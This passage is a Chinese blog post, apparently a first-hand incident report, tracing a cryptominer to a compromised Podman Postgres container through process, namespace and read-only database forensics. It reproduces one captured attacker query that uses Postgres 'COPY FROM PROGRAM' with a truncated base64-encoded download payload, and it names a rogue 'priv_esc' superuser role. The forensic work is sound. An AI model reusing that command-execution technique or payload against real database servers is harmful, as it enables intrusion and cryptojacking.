记一次服务器被挂恶意挖矿二进制

Sat Mar 07 2026

记一次服务器被挂挖矿软件

这是第一次遇到服务器被挂马的现象，起因是在服务器中发现有异常的占用——两颗 CPU 中有一颗满载，并且重点是，这个服务器是空负载，没有任何服务在上面运行。

现象观测

最初的破绽暴露在 htop 中，htop 命令表现为标号为 0 的 CPU 完全满载，并且如下进程占用了该 CPU 的所有资源

1
➜  ~ ps aux --sort=-%cpu
2
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
3
166534    434366 2799 14.1 9254028 4604992 ?     Sl   Feb21 528188:01 /tmp/mysql
4
root     3154358  400  0.0  10072  4896 pts/0    R+   00:39   0:00 ps aux --sort=-%cpu
5
contain+    4634  0.2  0.4 17186744 142876 ?     Sl   Feb21  58:42 /home/containers/.cargo/bin/zellij --server /run/user/1001/zellij/0.43.1/oceaniam
6
root     3148539  0.2  0.0  19860  7436 ?        S    00:24   0:01 sshd-session: root@pts/0
7
root     3148540  0.1  0.0  17148 11032 pts/0    Ss   00:24   0:01 -zsh
8
...

可以看到有个 PID 为 434366 名字为 /tmp/mysql 的进程吃掉了一个 CPU 的所有资源。

痕迹收集

在观测完毕现象后需要进行痕迹收集，我认为从以下几个方面收集痕迹会有些作用：

IDC 提供的流量日志
sshd 日志
ferron 日志
Debian 软件包完整性检查

IDC 提供的流量日志

根据系统日志看，异常进程出现于 2026.02.21，因此需要去 IDC 提供的流量日志中检查异常流量从什么时间开始

traffic

基于此图得到了初步判断，确实是服务器从 2026.02.21 开始产生了异常，但仅有这个数据无法看到更多有用的信息，我们应该从最后一次登录服务器，也就是 2026.02.20 开始入手分析。

`sshd` 日志

由于我使用的是 Debian，因此使用如下命令导出 sshd 的日志

1
sudo journalctl -u ssh -u sshd \
2
    --since "7 days ago" \
3
    -o json --utc \
4
    > /tmp/sshd_journal_json_utc_$(date -u +%Y%m%dT%H%M%SZ).json

该日志文件大小远超预期

1
-rw-r--r--  1 root       root       171M Mar  7 01:50 sshd_journal_json_utc_20260306T174954Z.json

将这份日志拷贝到自己的机器上，稍后利用 DuckDB 进行本地分析

`ferron` 日志

ferron 未受到异常爆破，离机日志没有检测到任何问题

Debian 软件包完整性检查

利用 dpkg -V 进行检查，未发现预期外的修改

1
➜  ssh  dpkg -V
2
??5?????? c /etc/ferron.kdl

恶意二进制文件相关信息

我们从 434366 这个 PID 开始获取信息

二进制文件

通过上面的命令输出

1
➜  ~ ps aux --sort=-%cpu
2
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
3
166534    434366 2799 14.1 9254028 4604992 ?     Sl   Feb21 528188:01 /tmp/mysql
4
...

我们前往 /tmp/mysql 查找二进制文件，但并未找到。

注意到 USER 字段为 166534, 看起来可能是某种 namespace 映射。

因此我猜想，应该想办法证明是应该在某个 namespace 之中，然后在对应的 namespace 中抓取二进制文件

1
➜  /tmp ls -l /proc/$PID/ns
2
total 0
3
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 cgroup -> 'cgroup:[4026532930]'
4
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 ipc -> 'ipc:[4026532928]'
5
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 mnt -> 'mnt:[4026532926]'
6
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 net -> 'net:[4026532792]'
7
lrwxrwxrwx 1 166534 166534 0 Mar  7 01:32 pid -> 'pid:[4026532929]'
8
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 pid_for_children -> 'pid:[4026532929]'
9
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 time -> 'time:[4026531834]'
10
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 time_for_children -> 'time:[4026531834]'
11
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 user -> 'user:[4026532787]'
12
lrwxrwxrwx 1 166534 166534 0 Mar  7 02:03 uts -> 'uts:[4026532927]'
13
➜  /tmp ls -l /proc/self/ns
14
total 0
15
lrwxrwxrwx 1 root root 0 Mar  7 02:11 cgroup -> 'cgroup:[4026531835]'
16
lrwxrwxrwx 1 root root 0 Mar  7 02:11 ipc -> 'ipc:[4026531839]'
17
lrwxrwxrwx 1 root root 0 Mar  7 02:11 mnt -> 'mnt:[4026531841]'
18
lrwxrwxrwx 1 root root 0 Mar  7 02:11 net -> 'net:[4026531840]'
19
lrwxrwxrwx 1 root root 0 Mar  7 02:11 pid -> 'pid:[4026531836]'
20
lrwxrwxrwx 1 root root 0 Mar  7 02:11 pid_for_children -> 'pid:[4026531836]'
21
lrwxrwxrwx 1 root root 0 Mar  7 02:11 time -> 'time:[4026531834]'
22
lrwxrwxrwx 1 root root 0 Mar  7 02:11 time_for_children -> 'time:[4026531834]'
23
lrwxrwxrwx 1 root root 0 Mar  7 02:11 user -> 'user:[4026531837]'
24
lrwxrwxrwx 1 root root 0 Mar  7 02:11 uts -> 'uts:[4026531838]'
25
➜  /tmp readlink /proc/1/ns/mnt
26
mnt:[4026531841]
27
➜  /tmp   readlink /proc/$PID/ns/mnt
28
mnt:[4026532926]

首先我们对对应 PID 的 /proc/$PID/ns 进行检查，这里存放着命名空间的相关信息，可以看到其中确实命名空间和我们所使用的用户完全不同：

通过检查 /proc/self/ns 中我们可以看到我们的 mnt 处于 4026531841
但恶意二进制的文件的 mnt 处于 4026532926

既然如此我们应该深入其对应的 mnt 进行二进制提取

1
➜  /tmp   TS=$(date -u +%Y%m%dT%H%M%SZ)
2
➜  /tmp   cp -a /proc/$PID/root/tmp/mysql /tmp/pid_${PID}_root_tmp_mysql_${TS} && cp -a /proc/$PID/exe /tmp/pid_${PID}_exe_${TS}

随后将证据固化到本机，用于稍后分析。

挂马点分析

我们现在有了机会分析具体的入侵点：系统中大致只存在 podman 会利用 namespace 机制。由于已经编排好的容器我们都十分清楚并且数量较少，我们直接查二进制就好。

1
➜  /tmp cd /proc/$PID/root
2
➜  root ls
3
bin  boot  dev  docker-entrypoint-initdb.d  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
4
➜  root cd etc
5
# 跳过无用分析
6
➜  etc du  | rg postgres
7
4       ./postgresql
8
8       ./postgresql-common/pg_upgradecluster.d
9
24      ./postgresql-common

我们可以得到是某个 postgres 容器被入侵了这个初步结论，继续排查是哪儿个编组出了问题

1
➜  etc cat /proc/$PID/cgroup
2
0::/user.slice/user-1001.slice/user@1001.service/user.slice/user-libpod_pod_a0d591b6895832291281a31da0eee965617163f98b7546ac475727035735c03d.slice/libpod-c3b3ccc85706d4153543b9112f21bcbbb995ee598549ba0c5577ee1412a6abe0.scope/container

基于这个输出，我们可以得到如下信息：

运行时：libpod（也就是 podman）
类型：rootless 容器，在 user-1001 会话下
Pod ID：a0d591b68958…
Container ID：c3b3ccc85706…

找到了对应的用户是谁，暂且令其为变量 U

重点是 CID，得到这个信息后我们可以获取到底是哪儿组 compose 受到了入侵

接下来我们切换到对应的用户，固化证据

1
➜ podman inspect "$CID" > /tmp/podman_inspect_${CID}_${TS}.json
2
➜ podman logs --timestamps "$CID" > /tmp/podman_logs_${CID}_${TS}.log
3
➜ podman top "$CID" -eo pid,ppid,user,etime,cmd > /tmp/podman_top_${CID}_${TS}.txt
4
➜ podman diff "$CID" > /tmp/podman_diff_${CID}_${TS}.txt

数据库分析

我们进入对应的 postgres 容器提取一下有用信息

1
postgres=#   \l
2
                                                    List of databases
3
   Name    |  Owner   | Encoding | Locale Provider |  Collate   |   Ctype    | Locale | ICU Rules |   Access privileges
4
-----------+----------+----------+-----------------+------------+------------+--------+-----------+-----------------------
5
 postgres  | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |        |           |
6
 template0 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |        |           | =c/postgres          +
7
           |          |          |                 |            |            |        |           | postgres=CTc/postgres
8
 template1 | postgres | UTF8     | libc            | en_US.utf8 | en_US.utf8 |        |           | =c/postgres          +
9
           |          |          |                 |            |            |        |           | postgres=CTc/postgres
10
(3 rows)
11

12
postgres=# \du+
13
                                    List of roles
14
 Role name |                         Attributes                         | Description
15
-----------+------------------------------------------------------------+-------------
16
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS |
17
 priv_esc  | Superuser                                                  |
18

19
postgres=# \dn+
20
                                       List of schemas
21
  Name  |       Owner       |           Access privileges            |      Description
22
--------+-------------------+----------------------------------------+------------------------
23
 public | pg_database_owner | pg_database_owner=UC/pg_database_owner+| standard public schema
24
        |                   | =U/pg_database_owner                   |
25
(1 row)
26

27
postgres=# \dt *.*
28
postgres=# \pset pager off
29
Pager usage is off.
30
postgres=# \dt *.*
31
                             List of tables
32
       Schema       |           Name           |    Type     |  Owner
33
--------------------+--------------------------+-------------+----------
34
 information_schema | sql_features             | table       | postgres
35
 information_schema | sql_implementation_info  | table       | postgres
36
 information_schema | sql_parts                | table       | postgres
37
 information_schema | sql_sizing               | table       | postgres
38
 pg_catalog         | pg_aggregate             | table       | postgres
39
 pg_catalog         | pg_am                    | table       | postgres
40
 pg_catalog         | pg_amop                  | table       | postgres
41
 pg_catalog         | pg_amproc                | table       | postgres
42
 pg_catalog         | pg_attrdef               | table       | postgres
43
 pg_catalog         | pg_attribute             | table       | postgres
44
 pg_catalog         | pg_auth_members          | table       | postgres
45
 pg_catalog         | pg_authid                | table       | postgres
46
 pg_catalog         | pg_cast                  | table       | postgres
47
 pg_catalog         | pg_class                 | table       | postgres
48
 pg_catalog         | pg_collation             | table       | postgres
49
 pg_catalog         | pg_constraint            | table       | postgres
50
 pg_catalog         | pg_conversion            | table       | postgres
51
 pg_catalog         | pg_database              | table       | postgres
52
 pg_catalog         | pg_db_role_setting       | table       | postgres
53
 pg_catalog         | pg_default_acl           | table       | postgres
54
 pg_catalog         | pg_depend                | table       | postgres
55
 pg_catalog         | pg_description           | table       | postgres
56
 pg_catalog         | pg_enum                  | table       | postgres
57
 pg_catalog         | pg_event_trigger         | table       | postgres
58
 pg_catalog         | pg_extension             | table       | postgres
59
 pg_catalog         | pg_foreign_data_wrapper  | table       | postgres
60
 pg_catalog         | pg_foreign_server        | table       | postgres
61
 pg_catalog         | pg_foreign_table         | table       | postgres
62
 pg_catalog         | pg_index                 | table       | postgres
63
 pg_catalog         | pg_inherits              | table       | postgres
64
 pg_catalog         | pg_init_privs            | table       | postgres
65
 pg_catalog         | pg_language              | table       | postgres
66
 pg_catalog         | pg_largeobject           | table       | postgres
67
 pg_catalog         | pg_largeobject_metadata  | table       | postgres
68
 pg_catalog         | pg_namespace             | table       | postgres
69
 pg_catalog         | pg_opclass               | table       | postgres
70
 pg_catalog         | pg_operator              | table       | postgres
71
 pg_catalog         | pg_opfamily              | table       | postgres
72
 pg_catalog         | pg_parameter_acl         | table       | postgres
73
 pg_catalog         | pg_partitioned_table     | table       | postgres
74
 pg_catalog         | pg_policy                | table       | postgres
75
 pg_catalog         | pg_proc                  | table       | postgres
76
 pg_catalog         | pg_publication           | table       | postgres
77
 pg_catalog         | pg_publication_namespace | table       | postgres
78
 pg_catalog         | pg_publication_rel       | table       | postgres
79
 pg_catalog         | pg_range                 | table       | postgres
80
 pg_catalog         | pg_replication_origin    | table       | postgres
81
 pg_catalog         | pg_rewrite               | table       | postgres
82
 pg_catalog         | pg_seclabel              | table       | postgres
83
 pg_catalog         | pg_sequence              | table       | postgres
84
 pg_catalog         | pg_shdepend              | table       | postgres
85
 pg_catalog         | pg_shdescription         | table       | postgres
86
 pg_catalog         | pg_shseclabel            | table       | postgres
87
 pg_catalog         | pg_statistic             | table       | postgres
88
 pg_catalog         | pg_statistic_ext         | table       | postgres
89
 pg_catalog         | pg_statistic_ext_data    | table       | postgres
90
 pg_catalog         | pg_subscription          | table       | postgres
91
 pg_catalog         | pg_subscription_rel      | table       | postgres
92
 pg_catalog         | pg_tablespace            | table       | postgres
93
 pg_catalog         | pg_transform             | table       | postgres
94
 pg_catalog         | pg_trigger               | table       | postgres
95
 pg_catalog         | pg_ts_config             | table       | postgres
96
 pg_catalog         | pg_ts_config_map         | table       | postgres
97
 pg_catalog         | pg_ts_dict               | table       | postgres
98
 pg_catalog         | pg_ts_parser             | table       | postgres
99
 pg_catalog         | pg_ts_template           | table       | postgres
100
 pg_catalog         | pg_type                  | table       | postgres
101
 pg_catalog         | pg_user_mapping          | table       | postgres
102
 pg_toast           | pg_toast_1213            | TOAST table | postgres
103
 pg_toast           | pg_toast_1247            | TOAST table | postgres
104
 pg_toast           | pg_toast_1255            | TOAST table | postgres
105
 pg_toast           | pg_toast_1262            | TOAST table | postgres
106
 pg_toast           | pg_toast_13476           | TOAST table | postgres
107
 pg_toast           | pg_toast_13481           | TOAST table | postgres
108
 pg_toast           | pg_toast_13486           | TOAST table | postgres
109
 pg_toast           | pg_toast_13491           | TOAST table | postgres
110
 pg_toast           | pg_toast_1417            | TOAST table | postgres
111
 pg_toast           | pg_toast_1418            | TOAST table | postgres
112
 pg_toast           | pg_toast_16384           | TOAST table | postgres
113
 pg_toast           | pg_toast_16393           | TOAST table | postgres
114
 pg_toast           | pg_toast_16412           | TOAST table | postgres
115
 pg_toast           | pg_toast_16439           | TOAST table | postgres
116
 pg_toast           | pg_toast_16463           | TOAST table | postgres
117
 pg_toast           | pg_toast_16472           | TOAST table | postgres
118
 pg_toast           | pg_toast_16504           | TOAST table | postgres
119
 pg_toast           | pg_toast_2328            | TOAST table | postgres
120
 pg_toast           | pg_toast_2396            | TOAST table | postgres
121
 pg_toast           | pg_toast_2600            | TOAST table | postgres
122
 pg_toast           | pg_toast_2604            | TOAST table | postgres
123
 pg_toast           | pg_toast_2606            | TOAST table | postgres
124
 pg_toast           | pg_toast_2609            | TOAST table | postgres
125
 pg_toast           | pg_toast_2610            | TOAST table | postgres
126
 pg_toast           | pg_toast_2612            | TOAST table | postgres
127
 pg_toast           | pg_toast_2615            | TOAST table | postgres
128
 pg_toast           | pg_toast_2618            | TOAST table | postgres
129
 pg_toast           | pg_toast_2619            | TOAST table | postgres
130
 pg_toast           | pg_toast_2620            | TOAST table | postgres
131
 pg_toast           | pg_toast_2964            | TOAST table | postgres
132
 pg_toast           | pg_toast_3079            | TOAST table | postgres
133
 pg_toast           | pg_toast_3118            | TOAST table | postgres
134
 pg_toast           | pg_toast_3256            | TOAST table | postgres
135
 pg_toast           | pg_toast_3350            | TOAST table | postgres
136
 pg_toast           | pg_toast_3381            | TOAST table | postgres
137
 pg_toast           | pg_toast_3394            | TOAST table | postgres
138
 pg_toast           | pg_toast_3429            | TOAST table | postgres
139
 pg_toast           | pg_toast_3456            | TOAST table | postgres
140
 pg_toast           | pg_toast_3466            | TOAST table | postgres
141
 pg_toast           | pg_toast_3592            | TOAST table | postgres
142
 pg_toast           | pg_toast_3596            | TOAST table | postgres
143
 pg_toast           | pg_toast_3600            | TOAST table | postgres
144
 pg_toast           | pg_toast_6100            | TOAST table | postgres
145
 pg_toast           | pg_toast_6106            | TOAST table | postgres
146
 pg_toast           | pg_toast_6243            | TOAST table | postgres
147
 pg_toast           | pg_toast_826             | TOAST table | postgres
148
 public             | administrators           | table       | postgres
149
 public             | applications             | table       | postgres
150
 public             | credentials              | table       | postgres
151
 public             | key_boxes                | table       | postgres
152
 public             | revoked_jwts             | table       | postgres
153
 public             | seaql_migrations         | table       | postgres
154
 public             | subjects                 | table       | postgres
155
 public             | tenants                  | table       | postgres
156
 public             | users                    | table       | postgres
157
(123 rows)

数据库元信息提取完毕后，尝试提取有用的实际信息

1
postgres=#   SELECT now(), current_user, inet_server_addr(), inet_server_port();
2
  SELECT pid, usename, datname, client_addr, backend_start, state, left(query,200)
3
  FROM pg_stat_activity
4
  ORDER BY backend_start DESC;
5
              now              | current_user | inet_server_addr | inet_server_port
6
-------------------------------+--------------+------------------+------------------
7
 2026-03-06 19:22:32.324541+00 | postgres     |                  |
8
(1 row)
9

10
   pid   | usename  | datname  | client_addr |         backend_start         | state  |                                       left
11
---------+----------+----------+-------------+-------------------------------+--------+----------------------------------------------------------------------------------
12
 1199957 | postgres | postgres |             | 2026-03-06 19:19:06.7911+00   | active | SELECT pid, usename, datname, client_addr, backend_start, state, left(query,200)+
13
         |          |          |             |                               |        |   FROM pg_stat_activity                                                         +
14
         |          |          |             |                               |        |   ORDER BY backend_start DESC;
15
 1152275 | postgres |          |             | 2026-03-06 05:37:44.647019+00 |        |
16
 1152274 |          |          |             | 2026-03-06 05:37:44.646212+00 |        |
17
 1152273 |          |          |             | 2026-03-06 05:37:44.645665+00 |        |
18
 1152264 |          |          |             | 2026-03-06 05:37:42.120044+00 |        |
19
 1152263 |          |          |             | 2026-03-06 05:37:42.119542+00 |        |
20
 1152261 |          |          |             | 2026-03-06 05:37:42.117833+00 |        |
21
 1152260 |          |          |             | 2026-03-06 05:37:42.117074+00 |        |
22
 1152259 |          |          |             | 2026-03-06 05:37:42.116408+00 |        |
23
(9 rows)

在以上日志中我们看到了个可疑的字眼：priv_esc。

开始调查数据库的用户信息：

1
postgres=#   SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin, rolvaliduntil
2
  FROM pg_roles
3
  ORDER BY rolname;
4
           rolname           | rolsuper | rolcreaterole | rolcreatedb | rolcanlogin | rolvaliduntil
5
-----------------------------+----------+---------------+-------------+-------------+---------------
6
 pg_checkpoint               | f        | f             | f           | f           |
7
 pg_create_subscription      | f        | f             | f           | f           |
8
 pg_database_owner           | f        | f             | f           | f           |
9
 pg_execute_server_program   | f        | f             | f           | f           |
10
 pg_maintain                 | f        | f             | f           | f           |
11
 pg_monitor                  | f        | f             | f           | f           |
12
 pg_read_all_data            | f        | f             | f           | f           |
13
 pg_read_all_settings        | f        | f             | f           | f           |
14
 pg_read_all_stats           | f        | f             | f           | f           |
15
 pg_read_server_files        | f        | f             | f           | f           |
16
 pg_signal_autovacuum_worker | f        | f             | f           | f           |
17
 pg_signal_backend           | f        | f             | f           | f           |
18
 pg_stat_scan_tables         | f        | f             | f           | f           |
19
 pg_use_reserved_connections | f        | f             | f           | f           |
20
 pg_write_all_data           | f        | f             | f           | f           |
21
 pg_write_server_files       | f        | f             | f           | f           |
22
 postgres                    | t        | t             | t           | t           |
23
 priv_esc                    | t        | f             | f           | t           |
24
(18 rows)
25

26
postgres=#   SELECT
27
    pg_get_userbyid(member) AS member,
28
    pg_get_userbyid(roleid) AS granted_role
29
  FROM pg_auth_members
30
  ORDER BY 1,2;
31
   member   |     granted_role
32
------------+----------------------
33
 pg_monitor | pg_read_all_settings
34
 pg_monitor | pg_read_all_stats
35
 pg_monitor | pg_stat_scan_tables
36
 postgres   | priv_esc
37
(4 rows)

很明显，priv_esc 这个用户通过 postgres 这个最高权限用户进行了授权，完成了提权。

NOTE

很有意思的是，我捕捉到了一次当着我的面执行的攻击

1
SELECT pid, usename, datname, client_addr, backend_start, state, left(query,200)
2
  FROM pg_stat_activity
3
  ORDER BY backend_start DESC;
4
   pid   | usename  | datname  | client_addr |         backend_start         | state  |                                                                                                   left
5
---------+----------+----------+-------------+-------------------------------+--------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
6
 1200290 | postgres | postgres | 10.89.0.2   | 2026-03-06 19:27:03.325365+00 | idle   | BEGIN TRANSACTION READ ONLY; COMMIT; DROP TABLE IF EXISTS tests; CREATE TABLE tests(cmd_output text); COPY tests FROM PROGRAM 'echo ZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8IiQo
7
 1199957 | postgres | postgres |             | 2026-03-06 19:19:06.7911+00   | active | SELECT pid, usename, datname, client_addr, backend_start, state, left(query,200)                                                                                                                        +
8
         |          |          |             |                               |        |   FROM pg_stat_activity                                                                                                                                                                                 +
9
         |          |          |             |                               |        |   ORDER BY backend_start DESC;
10
 1152275 | postgres |          |             | 2026-03-06 05:37:44.647019+00 |        |
11
 1152274 |          |          |             | 2026-03-06 05:37:44.646212+00 |        |
12
 1152273 |          |          |             | 2026-03-06 05:37:44.645665+00 |        |
13
 1152264 |          |          |             | 2026-03-06 05:37:42.120044+00 |        |
14
 1152263 |          |          |             | 2026-03-06 05:37:42.119542+00 |        |
15
 1152261 |          |          |             | 2026-03-06 05:37:42.117833+00 |        |
16
 1152260 |          |          |             | 2026-03-06 05:37:42.117074+00 |        |
17
 1152259 |          |          |             | 2026-03-06 05:37:42.116408+00 |        |
18
(10 rows)

我们捕捉到了一些有趣的信息：IP 地址，判定一下是谁在操作数据库

1
➜  ~   podman ps -a --format '{{.ID}} {{.Names}}'
2
  for c in $(podman ps -q); do
3
    podman inspect -f '{{.Id}} {{.Name}} {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' "$c"
4
  done | grep '10.89.0.2'
5
c3b3ccc85706 instance-oceaniam_postgres_1
6
c3b3ccc85706d4153543b9112f21bcbbb995ee598549ba0c5577ee1412a6abe0 instance-oceaniam_postgres_1 10.89.0.2

看起来是容器内部发起的攻击。

数据库定损

NOTE

虽然我很清楚这个服务器的数据是空的，但我依然对这件事很感兴趣

接下来需要判断一下数据库的受损情况。

先在 psql 里开启只读事务：

1
BEGIN TRANSACTION READ ONLY;
2
SET statement_timeout = '30s';
3
SET search_path = pg_catalog, public;

查下是否存在可疑函数

1
SELECT n.nspname, p.proname, l.lanname, pg_get_userbyid(p.proowner) AS owner
2
FROM pg_proc p
3
JOIN pg_namespace n ON n.oid = p.pronamespace
4
JOIN pg_language l ON l.oid = p.prolang
5
WHERE l.lanname IN ('c','plpython3u','plperlu','plperl','plsh')
6
ORDER BY 1,2;

得到输出如下

1
postgres=*# SELECT n.nspname, p.proname, l.lanname, pg_get_userbyid(p.proowner) AS owner
2
FROM pg_proc p
3
JOIN pg_namespace n ON n.oid = p.pronamespace
4
JOIN pg_language l ON l.oid = p.prolang
5
WHERE l.lanname IN ('c','plpython3u','plperlu','plperl','plsh')
6
ORDER BY 1,2;
7
  nspname   |            proname             | lanname |  owner
8
------------+--------------------------------+---------+----------
9
 pg_catalog | big5_to_euc_tw                 | c       | postgres
10
 pg_catalog | big5_to_mic                    | c       | postgres
11
 pg_catalog | big5_to_utf8                   | c       | postgres
12
 pg_catalog | dsnowball_init                 | c       | postgres
13
 pg_catalog | dsnowball_lexize               | c       | postgres
14
 pg_catalog | euc_cn_to_mic                  | c       | postgres
15
 pg_catalog | euc_cn_to_utf8                 | c       | postgres
16
 pg_catalog | euc_jis_2004_to_shift_jis_2004 | c       | postgres
17
 pg_catalog | euc_jis_2004_to_utf8           | c       | postgres
18
 pg_catalog | euc_jp_to_mic                  | c       | postgres
19
 pg_catalog | euc_jp_to_sjis                 | c       | postgres
20
 pg_catalog | euc_jp_to_utf8                 | c       | postgres
21
 pg_catalog | euc_kr_to_mic                  | c       | postgres
22
 pg_catalog | euc_kr_to_utf8                 | c       | postgres
23
 pg_catalog | euc_tw_to_big5                 | c       | postgres
24
 pg_catalog | euc_tw_to_mic                  | c       | postgres
25
 pg_catalog | euc_tw_to_utf8                 | c       | postgres
26
 pg_catalog | gb18030_to_utf8                | c       | postgres
27
 pg_catalog | gbk_to_utf8                    | c       | postgres
28
 pg_catalog | iso8859_1_to_utf8              | c       | postgres
29
 pg_catalog | iso8859_to_utf8                | c       | postgres
30
 pg_catalog | iso_to_koi8r                   | c       | postgres
31
 pg_catalog | iso_to_mic                     | c       | postgres
32
 pg_catalog | iso_to_win1251                 | c       | postgres
33
 pg_catalog | iso_to_win866                  | c       | postgres
34
 pg_catalog | johab_to_utf8                  | c       | postgres
35
 pg_catalog | koi8r_to_iso                   | c       | postgres
36
 pg_catalog | koi8r_to_mic                   | c       | postgres
37
 pg_catalog | koi8r_to_utf8                  | c       | postgres
38
 pg_catalog | koi8r_to_win1251               | c       | postgres
39
 pg_catalog | koi8r_to_win866                | c       | postgres
40
 pg_catalog | koi8u_to_utf8                  | c       | postgres
41
 pg_catalog | latin1_to_mic                  | c       | postgres
42
 pg_catalog | latin2_to_mic                  | c       | postgres
43
 pg_catalog | latin2_to_win1250              | c       | postgres
44
 pg_catalog | latin3_to_mic                  | c       | postgres
45
 pg_catalog | latin4_to_mic                  | c       | postgres
46
 pg_catalog | mic_to_big5                    | c       | postgres
47
 pg_catalog | mic_to_euc_cn                  | c       | postgres
48
 pg_catalog | mic_to_euc_jp                  | c       | postgres
49
 pg_catalog | mic_to_euc_kr                  | c       | postgres
50
 pg_catalog | mic_to_euc_tw                  | c       | postgres
51
 pg_catalog | mic_to_iso                     | c       | postgres
52
 pg_catalog | mic_to_koi8r                   | c       | postgres
53
 pg_catalog | mic_to_latin1                  | c       | postgres
54
 pg_catalog | mic_to_latin2                  | c       | postgres
55
 pg_catalog | mic_to_latin3                  | c       | postgres
56
 pg_catalog | mic_to_latin4                  | c       | postgres
57
 pg_catalog | mic_to_sjis                    | c       | postgres
58
 pg_catalog | mic_to_win1250                 | c       | postgres
59
 pg_catalog | mic_to_win1251                 | c       | postgres
60
 pg_catalog | mic_to_win866                  | c       | postgres
61
 pg_catalog | plpgsql_call_handler           | c       | postgres
62
 pg_catalog | plpgsql_inline_handler         | c       | postgres
63
 pg_catalog | plpgsql_validator              | c       | postgres
64
 pg_catalog | shift_jis_2004_to_euc_jis_2004 | c       | postgres
65
 pg_catalog | shift_jis_2004_to_utf8         | c       | postgres
66
 pg_catalog | sjis_to_euc_jp                 | c       | postgres
67
 pg_catalog | sjis_to_mic                    | c       | postgres
68
 pg_catalog | sjis_to_utf8                   | c       | postgres
69
 pg_catalog | uhc_to_utf8                    | c       | postgres
70
 pg_catalog | utf8_to_big5                   | c       | postgres
71
 pg_catalog | utf8_to_euc_cn                 | c       | postgres
72
 pg_catalog | utf8_to_euc_jis_2004           | c       | postgres
73
 pg_catalog | utf8_to_euc_jp                 | c       | postgres
74
 pg_catalog | utf8_to_euc_kr                 | c       | postgres
75
 pg_catalog | utf8_to_euc_tw                 | c       | postgres
76
 pg_catalog | utf8_to_gb18030                | c       | postgres
77
 pg_catalog | utf8_to_gbk                    | c       | postgres
78
 pg_catalog | utf8_to_iso8859                | c       | postgres
79
 pg_catalog | utf8_to_iso8859_1              | c       | postgres
80
 pg_catalog | utf8_to_johab                  | c       | postgres
81
 pg_catalog | utf8_to_koi8r                  | c       | postgres
82
 pg_catalog | utf8_to_koi8u                  | c       | postgres
83
 pg_catalog | utf8_to_shift_jis_2004         | c       | postgres
84
 pg_catalog | utf8_to_sjis                   | c       | postgres
85
 pg_catalog | utf8_to_uhc                    | c       | postgres
86
 pg_catalog | utf8_to_win                    | c       | postgres
87
 pg_catalog | win1250_to_latin2              | c       | postgres
88
 pg_catalog | win1250_to_mic                 | c       | postgres
89
 pg_catalog | win1251_to_iso                 | c       | postgres
90
 pg_catalog | win1251_to_koi8r               | c       | postgres
91
 pg_catalog | win1251_to_mic                 | c       | postgres
92
 pg_catalog | win1251_to_win866              | c       | postgres
93
 pg_catalog | win866_to_iso                  | c       | postgres
94
 pg_catalog | win866_to_koi8r                | c       | postgres
95
 pg_catalog | win866_to_mic                  | c       | postgres
96
 pg_catalog | win866_to_win1251              | c       | postgres
97
 pg_catalog | win_to_utf8                    | c       | postgres
98
 public     | postgres_fdw_disconnect        | c       | postgres
99
 public     | postgres_fdw_disconnect_all    | c       | postgres
100
 public     | postgres_fdw_get_connections   | c       | postgres
101
 public     | postgres_fdw_handler           | c       | postgres
102
 public     | postgres_fdw_validator         | c       | postgres
103
(94 rows)

注意到了 postgres_fdw_*，这疑似是跨库访问的接口。

NOTE

由于我完全不知道接下来应该怎么检查，于是接下来的命令大部分由 ChatGPT 提供

ChatGPT 建议检查是否有对外的 fdw，给出如下命令

1
SELECT
2
    s.srvname,
3
    CASE WHEN m.umuser = 0 THEN 'public' ELSE pg_get_userbyid(m.umuser) END AS mapping_for,
4
    m.umoptions
5
  FROM pg_user_mapping m
6
  JOIN pg_foreign_server s ON s.oid = m.umserver
7
ORDER BY 1,2;

得到如下执行结果

1
postgres=# SELECT
2
    s.srvname,
3
    CASE WHEN m.umuser = 0 THEN 'public' ELSE pg_get_userbyid(m.umuser) END AS mapping_for,
4
    m.umoptions
5
  FROM pg_user_mapping m
6
  JOIN pg_foreign_server s ON s.oid = m.umserver
7
  ORDER BY 1,2;
8
 srvname | mapping_for | umoptions
9
---------+-------------+-----------
10
(0 rows)

看起来是安全的，安装了但完全没有使用。

查事件触发器/触发器

很可能在这里藏了持久化残留

1
SELECT evtname, evtevent, evtenabled, pg_get_userbyid(evtowner) AS owner
2
FROM pg_event_trigger
3
ORDER BY 1;
4

5
SELECT event_object_schema, event_object_table, trigger_name, action_timing, event_manipulation
6
FROM information_schema.triggers
7
ORDER BY 1,2,3;

得到如下输出

1
postgres=# SELECT evtname, evtevent, evtenabled, pg_get_userbyid(evtowner) AS owner
2
FROM pg_event_trigger
3
ORDER BY 1;
4

5
SELECT event_object_schema, event_object_table, trigger_name, action_timing, event_manipulation
6
FROM information_schema.triggers
7
ORDER BY 1,2,3;
8
  evtname  |     evtevent      | evtenabled |  owner
9
-----------+-------------------+------------+----------
10
 log_end   | ddl_command_end   | O          | postgres
11
 log_start | ddl_command_start | O          | postgres
12
(2 rows)
13

14
 event_object_schema | event_object_table | trigger_name | action_timing | event_manipulation
15
---------------------+--------------------+--------------+---------------+--------------------
16
(0 rows)

看起来有个 ddl_* 样式的钩子，我们调查一下。

1
-- 1) 看事件触发器定义
2
SELECT evtname, evtevent, evtenabled, evtfoid::regprocedure
3
FROM pg_event_trigger
4
ORDER BY evtname;
5

6
-- 2) 看它们绑定到哪个函数
7
SELECT e.evtname,
8
       n.nspname AS func_schema,
9
       p.proname AS func_name,
10
       pg_get_userbyid(p.proowner) AS func_owner
11
FROM pg_event_trigger e
12
